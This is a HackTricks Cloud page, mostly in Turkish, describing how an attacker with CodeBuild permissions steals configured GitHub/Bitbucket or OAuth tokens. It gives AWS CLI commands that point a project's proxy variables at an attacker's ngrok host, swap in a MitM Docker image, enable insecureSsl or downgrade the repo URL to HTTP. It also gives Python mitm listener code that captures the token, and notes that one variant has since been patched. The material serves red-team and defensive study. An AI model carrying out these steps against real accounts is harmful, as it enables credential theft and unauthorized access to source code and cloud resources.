AWS Codebuild - Token Leakage
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Recover Github/Bitbucket Configured Tokens
Öncelikle leak yapabileceğiniz herhangi bir source credentials yapılandırılıp yapılandırılmadığını kontrol edin:
aws codebuild list-source-credentials
Docker Image Üzerinden
Eğer hesapta örneğin Github için kimlik doğrulaması ayarlı olduğunu görürseniz, Codebuild’in projeyi build etmek için belirli bir docker image kullanmasını sağlayarak bu exfiltrate edilen access’i (GH token or OAuth token) ele geçirebilirsiniz.
Bu amaçla create a new Codebuild project yapabilir veya mevcut bir projenin environment’ını değiştirerek Docker image’ı ayarlayabilirsiniz.
Kullanabileceğiniz Docker image https://github.com/carlospolop/docker-mitm. Bu çok basit bir Docker image’ı olup env variables https_proxy, http_proxy ve SSL_CERT_FILE değişkenlerini ayarlar. Bu, https_proxy ve http_proxy’de belirtilen hostun trafiğinin çoğunu yakalamanıza ve SSL_CERT_FILE ile belirtilen SSL sertifikasına güvenmenize olanak tanır.
- Create & Upload your own Docker MitM image
- Repo’daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve build the docker image.
- DO NOT SET
http_proxy; metadata endpoint’e yapılan istekleri yakalamamak için. - Proxy’yi hostunuza ayarlamak için
ngrokgibi bir araç kullanabilirsiniz, örn.ngrok tcp 4444 - Docker image’ı oluşturduktan sonra, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Create a new Codebuild project veya mevcut bir projenin modify edilmiş environment’ını kullanın.
- Projeyi previously generated Docker image’ı kullanacak şekilde ayarlayın
.png)
- Set the MitM proxy in your host
- Github repo’da belirtildiği gibi şu gibi bir şey kullanabilirsiniz:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Kullanılan mitmproxy sürümü 9.0.1 idi; sürüm 10 ile bunun çalışmayabileceği bildirilmiş.
- Build’i çalıştırın & kimlik bilgilerini yakalayın
- Authorization başlığında token’ı görebilirsiniz:
.png)
Bu ayrıca aws cli ile şu şekilde de yapılabilir:
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
insecureSSL ile
Codebuild projelerinin insecureSsl adında bir ayarı vardır; bu ayar web arayüzünde gizlidir ve yalnızca API üzerinden değiştirilebilir.
Bunu etkinleştirmek, Codebuild’in platformun sunduğu sertifikayı kontrol etmeden repository’ye bağlanmasına izin verir.
- Önce mevcut yapılandırmayı aşağıdaki gibi sorgulamanız gerekir:
aws codebuild batch-get-projects --name <proj-name>
- Ardından, elde edilen bilgilerle proje ayarını
insecureSsldeğeriniTrueolarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonundainsecureSsl=Trueolduğunu unutmayın (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur). - Ayrıca,
http_proxyvehttps_proxyenv değişkenlerini tcp ngrok’unuza işaret edecek şekilde ekleyin:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta https://github.com/synchronizing/mitm adresindeki temel örneği çalıştırın.
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Finally, click on Build the project, the credentials will be sent in clear text (base64) to the mitm port:
 (1).png)
HTTP protokolü ile
[!TIP] > Bu zafiyet AWS tarafından 20 Şubat 2023 tarihinin bulunduğu hafta içinde bir noktada düzeltildi (sanırım Cuma günü). Yani artık bir saldırgan bunu kötüye kullanamaz :)
CodeBuild üzerinde yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token’ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan geçici OAuth token’ını leak edebilir.
- Bir saldırgan http_proxy ve https_proxy ortam değişkenlerini CodeBuild projesine kendi makinesine işaret edecek şekilde ekleyebilir (örneğin
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Sonra, repo URL’sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin:
http://github.com/carlospolop-forks/TestActions - Ardından, proxy değişkenlerinin işaret ettiği portta (http_proxy ve https_proxy) https://github.com/synchronizing/mitm adresindeki temel örneği çalıştırın.
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Ardından, Projeyi derle öğesine tıklayın veya derlemeyi komut satırından başlatın:
aws codebuild start-build --project-name <proj-name>
- Son olarak, credentials düz metin halinde gönderilecek (base64) mitm portuna:
.png)
Warning
Artık bir attacker token’ı kendi makinesinden kullanabilecek, sahip olduğu tüm privileges’i listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecek.
Untrusted PR execution via webhook filter misconfiguration
PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution) için bakınız:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

